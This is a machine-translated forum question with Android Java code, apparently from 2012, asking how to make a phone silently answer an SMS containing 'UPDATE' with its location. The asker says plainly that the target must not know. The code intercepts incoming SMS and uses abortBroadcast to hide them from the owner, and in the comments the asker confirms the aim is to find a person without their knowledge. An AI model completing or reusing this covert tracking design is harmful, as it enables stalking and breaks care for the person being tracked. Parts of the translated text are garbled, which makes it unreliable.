我想製作一個應用程序,它在user1用一些特定的文本向user2發送消息。用戶2通過短信自動發送位置給用戶1,但不應通知用戶2。 下面的廣播接收器時臨危文本顯示「知道了」。如何讓我的當消息「UPDATE」收到做出自動回覆?
IncomingSMSReciever.java
public class IncomingSMSReceiver extends BroadcastReceiver{
private static final String SMS_RECEIVED =
"android.provider.Telephony.SMS_RECEIVED";
@Override
public void onReceive(Context _context, Intent _intent) {
if (_intent.getAction().equals(SMS_RECEIVED)) {
Bundle bundle = _intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++)
messages[i] = SmsMessage
.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages) {
String strPhoneNo = message.getOriginatingAddress();
String msg = message.getMessageBody();
if (msg.startsWith("UPDATE"))
{
Toast.makeText(_context, "Whats up!!", Toast.LENGTH_LONG).show();
// this stops notifications to others
this.abortBroadcast();
// do what you want
}
}
}
}
}
}
SvrSmsListener.java
的自動回覆public class SrvSmsListener extends Service
{
IncomingSMSReceiver SMSReceiver=new IncomingSMSReceiver();
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
public void onCreate() {
final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
IntentFilter filter = new IntentFilter(SMS_RECEIVED);
BroadcastReceiver receiver = SMSReceiver;
registerReceiver(receiver, filter);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() {
if (SMSReceiver != null)
{
unregisterReceiver(SMSReceiver);
}
}
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
}
}
您是否想在用戶不知道的情況下自動將用戶設備的短信發送到外部號碼? – vikramjb 2012-04-12 03:42:02
是的!但答覆應該是相同的否從它得到的文本..更具體..如果我想找到你..我會給你發一條短信,你的手機會回覆我的經緯度和沒有你知道它.. – 2012-04-12 03:49:55
因此,基本上你試圖找到一個設備/人沒有人知道它也與短信?這將用於什麼? – vikramjb 2012-04-12 04:21:52